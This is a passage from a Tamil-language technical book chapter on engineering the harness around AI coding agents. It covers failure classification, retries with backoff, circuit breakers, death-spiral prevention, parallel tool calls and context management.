தரவை நீக்குதல், படிக்காத கோப்பை மேலெழுதுதல் போன்ற ஆபத்தான செயல்களுக்கு அர்ப்பணிப்பான சோதனைகள் மற்றும் ஒப்புதல்களை அமைக்கிறது (இந்த அத்தியாயத்தின் பாதுகாப்புப் பகுதியில் சொற்பொருள் பாகுபடுத்தல், அத்தியாயம் 4 இன் Sidecar மதிப்பாய்வு), முடிவுகளை மட்டும் அல்ல, செயல்களையே கட்டுப்படுத்துகிறது. அத்தியாயம் 7 இன் RLVP (Reinforcement Learning with Verified Penalty—"முடிவுக்கு வெகுமதி, பாதைக்கு தண்டனை") அதே கேள்விக்குப் பயிற்சி பக்கத்திலிருந்து பதிலளிக்கிறது: இறுதி முடிவு வெகுமதியைத் தாண்டி, பாதையில் சரிபார்க்கக்கூடிய மீறல்களுக்குத் தண்டனை விதித்து, "அழிவுகரமான வழிகளைப் பயன்படுத்தக் கூடாது" என்பதை மாதிரியின் பொறியியல் பொது அறிவாக உள்வாங்கச் செய்கிறது. இருக்கும் மாதிரிக்கு, Harness பாதுகாப்பு அரண்கள் வெளிப்புறக் கட்டுப்பாடுகள்; பயிற்சி செய்யக்கூடிய மாதிரிக்கு, செயல்முறைத் தண்டனைகள் உள்வாங்கல்—இலக்கு ஒன்றே.

கருவி ஒருங்கிணைப்பு: பிழை எல்லைக் கட்டுப்பாடு. முதிர்ந்த Coding Agents இணையான tool calls ஐ ஆதரிக்கின்றன. Harness கண்ணோட்டத்தில் தனித்துவமான பிரச்சனை பிழைகள் எவ்வாறு பரவுகின்றன என்பதாகும்: ஒரு கருவி தோல்வியுறும்போது, எந்த calls ஐ நிறுத்த வேண்டும், எவை தொடர வேண்டும்? கொள்கை என்னவென்றால், பிழைகள் ஒரே தொகுதி இணையான calls க்குள் மட்டுமே பரவுகின்றன, பெற்றோர் செயல்பாட்டிற்கு மேலே அல்ல—எடுத்துக்காட்டாக, மூன்று கோப்புகளை ஒரே நேரத்தில் படிக்கும்போது, ஒன்று கிடைக்கவில்லை என்றால், அந்த தோல்வி மட்டுமே புகாரளிக்கப்பட வேண்டும், மற்ற இரண்டை ரத்து செய்யக்கூடாது, மேலும் முழு பணியையும் நிறுத்தக்கூடாது. இந்த நுண்ணிய பிழை எல்லைக் கட்டுப்பாடு, "ஒரு கட்டளை தோல்வி முழு பணியையும் நிறுத்துதல்" என்ற உடையக்கூடிய முறையைத் தவிர்க்கிறது. இணையான calls, ஸ்ட்ரீமிங் பாகுபடுத்தல், மற்றும் அடுக்கு நிறுத்தங்களுக்கான குறிப்பிட்ட வழிமுறைகள் இந்த அத்தியாயத்தின் "செயல்படுத்தல் உதவிக்குறிப்புகள்" பகுதியில் விரிவாக விளக்கப்பட்டுள்ளன.

தோல்வி மற்றும் பிழை மீட்பு

முந்தைய பகுதி Harness பொறியியலின் கொள்கைகள் மற்றும் கூறுகளை வழங்கியது; இந்தப் பகுதி பொறியியல் முதிர்ச்சியை மிகவும் வேறுபடுத்தும் ஒரு அம்சத்தை—தோல்வி மற்றும் பிழை மீட்பை—ஆழமாக ஆராய்கிறது. அத்தியாயம் 1 இன் ablation பரிசோதனை பிரச்சனை எவ்வளவு தீவிரமானது என்பதைக் காட்டியது: ஒரே ஒரு கருவி முடிவு பின்னூட்டம் காணாமல் போனாலும், ஏஜெண்டை முடிவில்லா சுழற்சியில் சிக்கச் செய்ய போதும்—நிஜ உற்பத்தி சூழலில் தோல்விகள் பரிசோதனைகளை விட மிகவும் பல்வேறுபட்டவை. இந்தப் பகுதி மூன்று கேள்விகளுக்கு முறையாகப் பதிலளிக்கிறது: உற்பத்தி-தர Harness என்ன தோல்விகளை எதிர்கொள்கிறது? அவை எவ்வாறு கண்டறிந்து மீட்கப்படுகின்றன? எப்போது கணினி நிறுத்தப்பட வேண்டும்?[^ch5-3]

[^ch5-3]: இந்தப் பகுதியின் தோல்வி வகைப்பாடு மற்றும் பொறிமுறை பகுப்பாய்வு, Claude Code போன்ற உற்பத்தி-தர ஏஜெண்டு செயலாக்கங்களின் மூலக் குறியீட்டு ஆய்வை அடிப்படையாகக் கொண்டது. குறிப்பிட்ட செயலாக்கங்கள் பதிப்புகளுக்கு ஏற்ப விரைவாக உருவாகும்; இந்தப் பகுதி நிலையான பொறியியல் கொள்கைகளை மட்டுமே பாசித்திருக்கிறது.

தோல்வி வகைப்பாடு: நான்கு அடுக்குகள். முறையான எதிர்வினைக்கு முதல் படி வகைப்பாடு. தோல்வி ஏற்படும் இடத்தைப் பொறுத்து நான்கு அடுக்குகள் உள்ளன:

• API அடுக்கு: விகித வரம்பு (HTTP 429), சேவை அதிக சுமை, கோரிக்கை டைம்அவுட்கள், இணைப்புத் துண்டிப்புகள், டோக்கன் வரம்பில் துண்டிக்கப்பட்ட வெளியீடு. இந்த தோல்விகள் பணியுடன் தொடர்பில்லாதவை—உள்கட்டமைப்பு இரைச்சல்.
• கருவி அடுக்கு: மாய அழைப்புகள் (இல்லாத கருவியை அழைத்தல்), செல்லாத அளவுருக்கள் (கருவியின் உள்ளீட்டு ஒப்பந்தத்தை மீறுதல்), செயல்படுத்தும் விதிவிலக்குகள், மற்றும் மிக ஆபத்தானது—ஒரு கருவி தொடர்ந்து அதே பிழையைத் திருப்ப, மாதிரி அதை மாற்றாமல் மீண்டும் மீண்டும் முயற்சித்தல்.
• சூழல் அடுக்கு: சூழல் சாளர நிரம்பல், சுருக்குதல் தோல்வி, பாதை அமைப்பு சிதைவு (ஒரு கருவி அழைப்பில் இணைந்த முடிவு செய்தி இல்லாதது போன்றவை).
• கட்டுப்பாட்டு ஓட்ட அடுக்கு: முடிவில்லா சுழல்கள் (முன்னேற்றமின்றி அதே செயலை மீண்டும் மீண்டும் செய்தல்) மற்றும் மரண சுருள் (death spiral—பிழையால் தூண்டப்பட்ட மீட்பு தர்க்கமே LLM ஐ அழைத்து மீண்டும் தோல்வியடைந்து, தொடர்ச்சியாக விரிவடைதல்).

கண்டறிதல்: முதலில் வகைப்படுத்து, பின்னர் எண்ணு. ஒரு தோல்வியைப் பிடித்த பின் முதல் தீர்ப்பு "மீண்டும் முயற்சிக்க வேண்டுமா" அல்ல, "மீண்டும் முயற்சிக்கத் தகுதியானதா" என்பதாகும். மீண்டும் முயற்சிக்கக்கூடிய பிழைகள் (விகித வரம்பு, அதிக சுமை, நெட்வொர்க் நடுங்கல்) மீண்டும் முயற்சிக்கத் தக்கவை; மீண்டும் முயற்சிக்க முடியாத பிழைகள் (செல்லாத அளவுருக்கள், போதுமான அனுமதி இல்லை, இல்லாத கருவி) அப்படியே எத்தனை முறை முயற்சித்தாலும் அதே முடிவையே தரும்—உள்ளீடு அல்லது உத்தி மாற வேண்டும். உற்பத்தி-தர Harness, பிழை வகைகளிலிருந்து மீட்பு உத்திகளுக்கான ஒரு வரைபடத்தை பராமரிக்கிறது, "பிழை ஏற்பட்டால் மீண்டும் முயற்சி" என்ற பொதுவான விதியை அல்ல.

தனிப்பட்ட பிழைகளுக்கு அப்பால், முறைகளையும் கண்டறிய வேண்டும். முதலில், மீண்டும் மீண்டும் அழைப்பு கைரேகைகள்: "கருவி பெயர் + அளவுருக்கள்" ஜோடிக்கு கைரேகை கணக்கிடவும்; அதே கைரேகை மீண்டும் மீண்டும் தோன்றுவது முன்னேற்றமில்லா சுழலின் தெளிவான சமிக்ஞை—அத்தியாயம் 1 இன் ablation பரிசோதனையில் ஏஜெண்ட் அதே கருவியை மீண்டும் மீண்டும் அழைத்தது சரியாக இந்த முறைதான். இரண்டாவதாக, தொடர்ச்சியான தோல்வி எண்ணிக்கைகள்: ஒவ்வொரு மீட்பு பாதையும் தனது சொந்த எண்ணிக்கையை பராமரிக்கிறது, பின்னர் வரும் circuit breaker களுக்கு அடிப்படையாக அமைகிறது.

மூன்றாவது வகை தோல்விகள் பிழைகளாகவே தோன்றாது, அவை அர்ப்பணிப்பான உயிர்ப்பு மற்றும் ஒருமைப்பாட்டு கண்காணிப்பை கோருகின்றன. ஸ்ட்ரீமிங் இணைப்பின் மிக ஆபத்தான தோல்வி முறை துண்டிப்பு அல்ல (இது உடனடியாகப் பிழை தரும்), மாறாக அமைதியான தேக்கம்—இணைப்பு நிறுவப்பட்டிருந்தாலும் தரவு ஓட்டம் நின்றுவிடும், குழாய் இணைக்கப்பட்டிருந்தாலும் தண்ணீர் வராதது போல. SDK டைம்அவுட்கள் பெரும்பாலும் ஆரம்ப இணைப்பை மட்டுமே உள்ளடக்கும், பரிமாற்ற செயல்முறையை அல்ல; எனவே உற்பத்தி-தர ஏஜெண்டுக்கு ஒரு சுயாதீன செயலற்ற கண்காணிப்பான் (watchdog timer—நிர்ணயிக்கப்பட்ட இடைவெளிக்குள் புதிய வெளியீடு வராவிட்டால், இணைப்பு தேக்கமடைந்ததாக தீர்மானிக்கப்படும்) தேவை, இது தொங்கும் ஸ்ட்ரீமைக் கொன்று மீண்டும் முயற்சியைத் தூண்டும். இது ஒரு கொள்கையாக பொதுமைப்படுத்தப்படலாம்: ஒவ்வொரு நீண்ட-கால இணைப்புக்கும் உயிர்ப்பு சமிக்ஞை தேவை, இணைப்பு டைம்அவுட் மட்டும் அல்ல. ஒருமைப்பாட்டு கண்காணிப்பு பாதை அமைப்பை இலக்காகக் கொள்கிறது: ஒரு கருவி அழைப்பில் இணைந்த முடிவு செய்தி இல்லை எனக் கண்டறிந்தால், கணினி சூழலில் செலுத்துவதற்கு முன் இணைப்பைச் சரிசெய்கிறது, கட்டமைப்பு முறைகேட்டை மாதிரி அல்லது பயனரிடம் எறிவதற்குப் பதிலாக. ஒரு குறிப்பிடத்தக்க பொறியியல் விவரம்: சில உற்பத்தி-தர ஏஜெண்டுகள் உற்பத்தி முறை மற்றும் பயிற்சி தரவு சேகரிப்பு முறை இரண்டையும் இயக்குகின்றன—உற்பத்தி முறையில் காணாமல் போன செய்திகளை placeholders மூலம் இணைக்கலாம், பயிற்சி முறையில் சரிசெய்தல் மறுக்கப்படுகிறது, ஏனெனில் செயற்கை placeholders பயிற்சி தரவை மாசுபடுத்தும். இந்த "உற்பத்தியில் தளர்வான, பயிற்சியில் கடுமையான" இரட்டைத் தரம், Harness க்கும் மாதிரி பயிற்சிக்கும் இடையிலான ஆழமான இணைப்பைப் பிரதிபலிக்கிறது.

மீட்பு: நிலைகளாக மேம்படுத்து, ஒவ்வொன்றும் அதிக புலனாகும். மீட்பு நடவடிக்கைகள் பயனருக்கு எவ்வளவு புலனாகின்றன என்பதன் அடிப்படையில் நிலைப்படுத்தப்படுகின்றன; கீழ் நிலை தீர்க்குமென்றால் மேம்படுத்த வேண்டாம்:

1. அமைதியான மீண்டும் முயற்சி. மீண்டும் முயற்சிக்கக்கூடிய பிழைகளுக்கு இயல்புநிலை நடவடிக்கை. இரண்டு விவரங்கள் வெற்றி தோல்வியை தீர்மானிக்கின்றன: அடுக்குப் பின்னடைவுடன் (exponential backoff) சீரற்ற ஜிட்டரைச் சேர்த்து, ஏராளமான கிளையண்டுகள் ஒரே தாளத்தில் மீண்டும் முயற்சித்து இரண்டாம் நிலை நெரிசலை ஏற்படுத்தாமல் இருப்பதுடன், சேவையகத்தின் பரிந்துரைக்கப்பட்ட காத்திருப்பு நேரத்தையும் மதிப்பது; மற்றும் முன்னணி மற்றும் பின்னணி அழைப்புகளை வேறுபடுத்துதல்—முதன்மை சுழற்சி கோரிக்கை தோல்வியுற்றால் மீண்டும் முயற்சிக்கப்படும், ஆனால் துணை பின்னணி அழைப்புகள் (தலைப்பு உருவாக்கம், உள்ளீட்டு பரிந்துரைகள்) தோல்வியுற்றால் கைவிடப்படும், இல்லையெனில் பின்னணி மீண்டும் முயற்சிகள் முதன்மை சங்கிலியின் ஒதுக்கீட்டை ஆக்கிரமித்து, "மீண்டும் முயற்சி பெருக்கம்" (retry amplification) ஐ உருவாக்கும்.
2. தரமிறக்கம் மற்றும் தொடர்தல். மீண்டும் முயற்சிகள் தோல்வியுற்றால், கோரிக்கையையே மாற்றி மீண்டும் முயற்சிக்கவும். வெளியீட்டு துண்டிப்பை எடுத்துக்காட்டாக எடுக்கவும் (நீள வரம்பால் உருவாக்கம் நடுவில் துண்டிக்கப்படுதல்): முதலில் வெளியீட்டு வரம்பை உயர்த்தி அமைதியாக மீண்டும் அனுப்பவும்; அதுவும் போதாவிட்டால், செய்தியின் முடிவில் ஒரு மெட்டா-அறிவுறுத்தலை இணைத்து, மாதிரி இடைநிறுத்தப்பட்ட இடத்திலிருந்து தொடர்ந்து உருவாக்க அனுமதிக்கவும். முதன்மை மாதிரி தொடர்ந்து அதிக சுமையில் இருந்தால், மாற்று மாதிரிக்கு தரமிறக்கவும் (பழைய மாதிரியின் தனியுரிம வடிவத் தொகுதிகளை முதலில் அகற்ற வேண்டும், இல்லையெனில் புதிய மாதிரி வரலாற்றை பாகுபடுத்த முடியாது); உயர் செலவு முறை விகித வரம்புக்குட்பட்டால், தற்காலிகமாக நிலையான முறைக்குத் திரும்பவும்.
3. பயனருக்கு வெளிப்படுத்து. அனைத்து தானியங்கி முறைகளும் தீர்ந்த பின்னரே பிழை வெளிப்படுத்தப்படும்—ஏற்கனவே முயற்சிக்கப்பட்ட மீட்பு நடவடிக்கைகளுடன் சேர்த்து.

கருவி அடுக்கு பிழைகள் வேறு பாதையை எடுக்கின்றன: அமர்வை நிறுத்த வேண்டாம்; பிழையை மாதிரியின் உள்ளீடாக மாற்று. மாய அழைப்பு "அத்தகைய கருவி இல்லை" என்ற கட்டமைக்கப்பட்ட பிழை முடிவைப் பெறும்; சரிபார்ப்பு தோல்வி உள்ளீட்டு ஒப்பந்தம் பற்றிய குறிப்புகளுடன் கூடிய பிழையைப் பெறும்; செல்லாத அளவுருக்கள் (பொருள் எதிர்பார்க்கப்பட்ட இடத்தில் சரம் வெளியிடப்பட்டது) செயல்படுத்துவதற்கு முன் நிரல்முறையாக சரிசெய்யப்படும். இந்த பிழைகள் சாதாரண கருவி முடிவுகளாக சூழலில் நுழைந்து, மாதிரி அடுத்த சுற்றில் தன்னைத் திருத்திக் கொள்ளும்—முந்தைய "பின்னூட்டம் எவ்வளவு கட்டமைக்கப்பட்டதோ அவ்வளவு நல்லது" என்ற கொள்கையின் பயன்பாடு: திருப்பி அனுப்பப்படும் பிழை எவ்வளவு குறிப்பிட்டதோ, மாதிரியின் சுய-திருத்த விகிதம் அவ்வளவு அதிகம்.

இந்தப் பகுதியின் மையக் கொள்கை: பிழை கையாளுதலின் அலகு ஒற்றைக் கோரிக்கை அல்ல, முழு மீட்பு சுழற்சியே ஆகும். மீட்பு சாத்தியமில்லை என உறுதிப்படுத்தப்படும் வரை, இடைநிலை பிழைகள் நுகர்வோருக்கு—பயனராக இருந்தாலும், நிகழ்வுகளை குழுசேரிய தரப்பினராக இருந்தாலும்—வெளிப்படுத்தப்படக் கூடாது: மீட்பின் போது பிழைச் செய்திகளைத் தக்கவைத்துக் கொள்ளவும்; மீட்பு வெற்றிபெற்றால், நுகர்வோர் எதையும் உணர மாட்டார்கள்; அனைத்தும் தோல்வியுற்றால் மட்டுமே தக்கவைக்கப்பட்ட பிழைகள் விடுவிக்கப்படும். இதுவே அத்தியாயம் 1 இன் திருத்தக் கொள்கையின்—"மீட்பு சாத்தியமில்லை என உறுதிப்படுத்தப்படும் வரை இடைநிலை நிலைகளை வெளிப்படுத்த வேண்டாம்"—பொறியியல் உருவமாகும்.

முடித்தல்: ஒவ்வொரு மீட்பு பாதைக்கும் ஒரு உச்சவரம்பு தேவை. மீட்பு பொறிமுறைகளே தோல்வியுறலாம், எனவே ஒவ்வொரு மீட்பு பாதைக்கும் வெளிப்படையான circuit-breaking உச்சவரம்பு இருக்க வேண்டும்: சூழல் சுருக்குதல் தொடர்ச்சியான பல தோல்விகளுக்குப் பிறகு கைவிடப்படும்; அனுமதி வகைப்படுத்தி தொடர்ச்சியான தோல்விகளுக்குப் பிறகு மனிதரிடம் கேட்பதாகத் திரும்பும்; வெளியீட்டு தொடர்ச்சி அதிகபட்சம் நிலையான எண்ணிக்கையிலான முறைகள் மட்டுமே முயற்சிக்கப்படும். வாசல்கள் (thresholds) எங்கிருந்து வருகின்றன? ஊகமல்ல, உற்பத்தி தரவு. Claude Code இன் சுருக்குதல் circuit breaker ஐ எடுத்துக்காட்டாக எடுக்கவும்: "தொடர்ச்சியாக 3 தோல்விகள்" என்ற வாசல் நிஜ அமர்வு புள்ளிவிவரங்களிலிருந்து வருகிறது—ஒரு அமர்வு இந்த மீட்பு பாதையில் தொடர்ச்சியாக மூன்றாயிரத்துக்கும் மேற்பட்ட முறை தோல்வியுற்றது, மேலும் இத்தகைய பயனற்ற மீண்டும் முயற்சிகள் மட்டுமே உலகளவில் தினமும் சுமார் 250,000 API அழைப்புகளை வீணடித்தன; ஆயிரத்துக்கும் மேற்பட்ட அமர்வுகள் 50+ தொடர்ச்சியான தோல்விகளின் தொடர்களைக் கண்டன. 3 என்பது "பெரும்பாலான தோல்விகள் இதற்கு முன் மீட்கப்படுகின்றன" மற்றும் "மேலும் மீண்டும் முயற்சிப்பது அடிப்படையில் நம்பிக்கையற்றது" இடையிலான அனுபவ வளைவுப் புள்ளியாகும்.

ஒற்றை-புள்ளி breaker ஐ விட மறைமுகமானது மரண சுருள்: பிழை பாதையில் தூண்டப்பட்ட தர்க்கமே LLM ஐ அழைத்து, மீண்டும் தோல்வியடைந்து, தொடர்ச்சியாக விரிவடைதல். ஒரு நிஜ தொடர்: சூழல் நிரம்பல் பிழையில் ஏஜெண்ட் நிற்கிறது, இது "வெளியேறும்போது குறியீட்டை கமிட் செய்" என்ற stop hook ஐ (ஏஜெண்ட் முடிவடையும் போது தானாக இயங்கும் சுத்திகரிப்பு தர்க்கம்) தூண்டுகிறது, hook கமிட் செய்தியை எழுத LLM ஐ அழைக்கிறது, சூழல் மீண்டும் நிரம்புகிறது, hook மீண்டும் தூண்டப்படுகிறது. பாதுகாப்பு இரண்டு பகுதிகளில் வருகிறது: பிழை பாதையில் மாதிரியை அழைக்கும் அனைத்து பக்க விளைவுகளையும் முடக்கவும் (தானியங்கி நினைவக எடுப்பு போன்ற துணை அம்சத்தை ஒருமுறை இழந்தாலும் பரவாயில்லை), மற்றும் ரிகர்சிவ் டெப்த் கவுண்டரைப் பயன்படுத்தி எஞ்சிய தொடர்களைக் கண்டறிந்து உடைக்கவும். இறுதியாக, அனைத்து தானியங்கி பொறிமுறைகளுக்கும் மேலே ஒட்டுமொத்த முடித்தல் மற்றும் மேம்படுத்தல் நிபந்தனைகள் உள்ளன: அதிகபட்ச சுற்றுகளின் எண்ணிக்கை, அமர்வு பட்ஜெட் வரம்பு, மற்றும் தொடர்ச்சியான தோல்விகள் வாசலை மீறும்போது மனித தலையீட்டுக்கு மேம்படுத்தல் (அத்தியாயம் 4 இன் மறுப்பு circuit breaker ஒரு உதாரணம்).

அத்தியாயம் 1 இன் சிந்தனைக் கேள்விக்குத் திரும்புவோம்: கருவி முடிவுகள் காணாமல் போவதைத் தவிர, ஒரு கருவி அதே பிழையை மீண்டும் மீண்டும் தெரிவித்தல், மாய அழைப்புகள், சூழல் சுருக்குதல் முக்கிய நிலையை இழத்தல், தீர்க்க முடியாத பணி ஆகியவையும் ஏஜெண்டை சுழலிக்கச் செய்யும். கண்டறிதல் "பிழை வகைப்பாடு + முறை அடையாளம்" ஐ நம்புகிறது, மீட்பு "நிலைப்படுத்தப்பட்ட மேம்படுத்தல்" ஐ, முடித்தல் "circuit breakers + ஒட்டுமொத்த உச்சவரம்புகள் + மனித மேம்படுத்தல்" ஐ—இவை சேர்ந்தே "ஏஜெண்ட் என்றென்றைக்கும் ஓடலாம்" என்ற பிரச்சனைக்கு Harness இன் முழுமையான பதிலாகும். இந்த பொறிமுறைகள் தீர்ப்பது "மாதிரி திறன் போதாது" என்ற பிரச்சனையை அல்ல, "எல்லை நிலைமைகளின் கீழ் அமைப்பின் உறுதித்தன்மை" என்ற பிரச்சனையை: மாதிரிகள் தொடர்ந்து வலுவாகும், ஆனால் நெட்வொர்க்குகள் துண்டிக்கப்படும், செயல்முறைகள் முடங்கும், பயனர்கள் எதிர்பாராத செயல்களைச் செய்வார்கள். மிக அடிப்படையாகச் சொன்னால்—ஒரு ஏஜெண்ட்டின் நம்பகத்தன்மை அது தவறு செய்கிறதா இல்லையா என்பதால் அல்ல, ஒவ்வொரு வகை பிழைக்கும் தொடர்புடைய கண்டறிதல், மீட்பு மற்றும் முடித்தல் பாதை உள்ளதா என்பதால் தீர்மானிக்கப்படுகிறது.

குறியீடு எழுதும் ஏஜெண்ட்களுக்கான செயலாக்க குறிப்புகள்

மேலே விவரிக்கப்பட்ட பணிப்பாய்வு சிறந்த நிலை. இதை நடைமுறையில் செயல்படுத்த, பதில் வேகத்தை மேம்படுத்தவும், சூழல் நுகர்வைக் குறைக்கவும், சிந்தனைத் தரத்தைப் பராமரிக்கவும் பல குறிப்பிட்ட செயலாக்க நுட்பங்கள் தேவை. இவை அத்தியாயங்கள் 2 மற்றும் 4 இல் விவாதிக்கப்பட்ட பொதுவான Agent நுட்பங்களின் நிரலாக்க களத்திற்கான உறுதியான பயன்பாடுகளாகும்.

இணை கருவி அழைப்புகள், ஸ்ட்ரீமிங் செயலாக்கம் மற்றும் அடுக்கு நீக்கம்.

பாரம்பரிய Agent செயலாக்கங்கள் பெரும்பாலும் தொடர் முறையைப் பயன்படுத்துகின்றன: ஒரு கருவி அழைப்பை உருவாக்கவும், அதை இயக்கவும், முடிவைப் பெறவும், பின்னர் அடுத்த படியை முடிவு செய்யவும். இந்த கடுமையான வரிசைப்படுத்தல் நிறைய நேரத்தை வீணடிக்கிறது.

நவீன குறியீட்டு Agents ஸ்ட்ரீமிங் பதில்களை முழுமையாகப் பயன்படுத்த வேண்டும்: அத்தியாயம் 2 இந்த வழிமுறையை மாதிரி வெளியீட்டு வரிசையைப் பற்றி விவாதிக்கும் போது அறிமுகப்படுத்தியது—முதல் கருவி அழைப்பின் அளவுருக்கள் முழுமையாக உருவாக்கப்பட்டு சரிபார்ப்பில் தேர்ச்சி பெற்றவுடன், மாதிரி அடுத்தடுத்த கருவி அழைப்புகளை உருவாக்கும் வரை காத்திருக்காமல், உடனடியாக செயலாக்கத்தைத் தொடங்கலாம். எடுத்துக்காட்டாக, மாதிரி ஒரே அனுமான (inference) ஓட்டத்தில் மூன்று கருவி அழைப்புகளை வெளியிட வேண்டும்—குறியீட்டைத் தேடவும், கட்டமைப்பு கோப்புகளைச் சரிபார்க்கவும், பதிவுகளைப் படிக்கவும்—முதல் அழைப்பின் அளவுருக்கள் முழுமையாக உருவாக்கப்பட்டு சரிபார்க்கப்பட்டவுடன், பிந்தைய இரண்டு அழைப்புகளின் உருவாக்கத்துடன் ஒன்றுடன் ஒன்று இணைந்து செயல்படத் தொடங்கலாம். சுயாதீன அழைப்புகளும் வரிசைப்படுத்தப்படுவதற்குப் பதிலாக இணையாக இயக்கப்படலாம். இந்த ஒன்றுடன் ஒன்று செயலாக்கம் இறுதி முதல் இறுதி வரையிலான தாமதத்தை கணிசமாகக் குறைக்கிறது, Agent இன் பதில்களை மிகவும் சுறுசுறுப்பாக ஆக்குகிறது.

இணை செயலாக்கத்தின் எதிர்மறை பக்கம் பிழை கையாளுதல் ஆகும். ஒவ்வொரு கருவி வரையறையும் அது ஒரே நேரத்தில் செயல்படுத்தலை ஆதரிக்கிறதா என்பதை அறிவிக்க வேண்டும் (இயல்புநிலை இல்லை, தோல்வி-பாதுகாப்பு). ஒரு அழைப்பு தோல்வியுற்றால், ஒரு அடுக்கு நீக்க வழிமுறையானது, அதன் முடிவைச் சார்ந்திருக்கும் அதே தொகுப்பில் தொடங்கப்பட்ட மற்ற அழைப்புகளை நிறுத்துகிறது, ஆனால் சுயாதீன அழைப்புகள் அல்லது பெற்றோர் செயல்பாட்டைப் பாதிக்காது—இது Harness பொறியியல் பகுதியில் உள்ள "பிழை எல்லைக் கட்டுப்பாடு" கொள்கையின் உறுதியான செயலாக்கமாகும்.

நுண்ணிய சூழல் மேலாண்மை.

குறியீட்டு Agents க்கான அடிப்படை சவால் என்னவென்றால், குறியீட்டுத் தளங்கள் பொதுவாக பெரியதாக இருக்கும், ஆனால் மாதிரியின் சூழல் சாளரம் குறைவாக உள்ளது. மேம்பட்ட மாதிரிகள் மில்லியன் கணக்கான டோக்கன்களை ஆதரிப்பதாகக் கூறினாலும், முழு குறியீட்டுத் தளத்தையும் சூழலில் நிரப்புவது சிக்கனமானதும் அல்ல, தேவையானதும் அல்ல. அறிவார்ந்த சூழல் மேலாண்மை பல நிலைகளில் செயல்பட வேண்டும்.

கோப்பு வாசிப்பு மட்டத்தில், Agent எப்போதும் முழு கோப்பையும் படிக்கக்கூடாது. பெரிய கோப்புகளுக்கு, கருவி குறிப்பிட்ட வரி வரம்புகளைப் படிப்பதை ஆதரிக்க வேண்டும்—எடுத்துக்காட்டாக, ஆயிரக்கணக்கான வரிகளைக் கொண்ட கோப்பை ஏற்றுவதற்குப் பதிலாக, 100 முதல் 150 வரையிலான வரிகளை மட்டும் படிக்க வேண்டும். மிக முக்கியமாக, உள்ளடக்கத்தைத் திருப்பி அனுப்பும்போது, வரி எண்களை இணைக்க வேண்டும்—குறியீட்டின் ஒவ்வொரு வரியும் அதன் உண்மையான வரி எண்ணுடன் முன்னொட்டாக இருக்க வேண்டும். இந்த எளிமையான வடிவமைப்பு பெரும் மதிப்பைத் தருகிறது: மாதிரி துல்லியமாக "src/main.py இன் வரி 42" ஐக் குறிப்பிட முடியும், தெளிவின்மையைக் குறைக்கிறது மற்றும் அடுத்தடுத்த திருத்த செயல்பாடுகளை மிகவும் நம்பகமானதாக ஆக்குகிறது.

கட்டளை செயல்படுத்தும் மட்டத்தில், முனைய வெளியீட்டைக் கையாள்வதிலும் கவனம் தேவை. தொகுத்தல் அல்லது சோதனை ஆயிரக்கணக்கான வரிகளை உருவாக்கலாம். அவை அனைத்தும் சூழலில் செலுத்தப்பட்டால், பட்ஜெட் விரைவில் தீர்ந்துவிடும். அத்தியாயம் 4-ல் அறிமுகப்படுத்தப்பட்ட நீண்ட வெளியீட்டை சுருக்கி நிலைநிறுத்தும் பொறிமுறை இங்கு பரவலாகப் பயன்படுத்தப்படுகிறது: வெளியீட்டின் முதல் சில வரிகளை (பொதுவாக பிழை சூழலைக் கொண்டவை) மற்றும் கடைசி சில வரிகளை (பொதுவாக பிழை சுருக்கங்களைக் கொண்டவை) தக்கவைத்து, நடுப்பகுதியை ஒரு வரி அறிவிப்புடன் மாற்றி, முழுமையான வெளியீடு தேவைக்கேற்ப பார்ப்பதற்காக ஒரு தற்காலிக கோப்பில் சேமிக்கப்பட்டுள்ளது என்பதைக் குறிப்பிடவும்.

சூழல் தகவலின் மாறும் செலுத்தல்.

இது குறியீட்டு ஏஜெண்டுகளில் அத்தியாயம் 2-ன் ஏஜெண்ட் நிலைப் பட்டை நுட்பத்தின் ஒருமுக வெளிப்பாடாகும். பொது ஏஜெண்டுகளைப் போலல்லாமல், குறியீட்டு ஏஜெண்டுகள் செயல்படுத்தும் சூழலின் நிலையை மிகவும் சார்ந்துள்ளன. ஒவ்வொரு அனுமானத்திற்கும் முன்பு, பின்வரும் முக்கிய சூழல் தகவல்கள் ஏஜெண்ட் நிலைப் பட்டை வடிவில் சூழலின் இறுதியில் செலுத்தப்பட வேண்டும்:

• தற்போதைய வேலை அடைவு: பாதை குறிப்புகள் சரியாக இருப்பதை உறுதி செய்கிறது
• Git கிளை: முதன்மை கிளையில் அல்லது அம்ச கிளையில் வேலை செய்கிறதா என்பதை அறியும்
• சமீபத்திய கமிட் வரலாறு: திட்டத்தின் பரிணாமத்தைப் புரிந்துகொள்ளும்
• நிலைப்படுத்தப்படாத மற்றும் நிலைப்படுத்தப்பட்ட மாற்றங்களின் கண்ணோட்டம்: என்ன மாற்றங்கள் செய்யப்பட்டுள்ளன என்பதை அறியும்

இந்த தகவல் நிலையான கணினி அறிவிப்புகளில் கடினமாக குறியிடப்படக்கூடாது—அது KV கேச் செயல்திறனை அழித்துவிடும்—மாறாக மாறும் வகையில் உருவாக்கப்பட்டு, இணைக்கப்பட்ட ஏஜெண்ட் நிலைப் பட்டையாக செலுத்தப்பட வேண்டும். இந்த வழியில், ஏஜெண்ட் "சூழல் விழிப்புணர்வை" பெறுகிறது, ஒவ்வொரு முடிவும் காலாவதியான அனுமானங்களை அடிப்படையாகக் கொள்ளாமல், தற்போதைய நிலையின் துல்லியமான புரிதலை அடிப்படையாகக் கொண்டது.

கட்டளை செயல்படுத்தும் சூழலில் நிலை நிலைத்தன்மை.

குறியீட்டுடன் தொடர்பு கொள்ளும்போது, பல செயல்பாடுகள் சூழல் நிலையைச் சார்ந்துள்ளன: அடைவுகளை மாற்றுதல், மெய்நிகர் சூழல்களை செயல்படுத்துதல், சூழல் மாறிகளை அமைத்தல், பின்னணி சேவைகளைத் தொடங்குதல். ஒவ்வொரு கட்டளையும் புதிய ஷெல்லில் செயல்படுத்தப்பட்டால், இந்த நிலை அனைத்தும் இழக்கப்படும்—ஏஜெண்ட் cd ஐப் பயன்படுத்தி திட்ட அடைவுக்குச் சென்றிருக்கும், ஆனால் அடுத்த கட்டளை மூல அடைவில் இருந்து தொடங்கும், அதே அமைப்பை மீண்டும் செய்யும்படி கட்டாயப்படுத்தும். மேலும் மோசமானது, சில செயல்பாடுகளின் விளைவுகள் (பைதான் மெய்நிகர் சூழலை செயல்படுத்துவது போன்றவை) தற்போதைய ஷெல் அமர்வுக்குள் மட்டுமே செல்லுபடியாகும் மற்றும் அமர்வுகளுக்கு இடையில் அனுப்ப முடியாது.

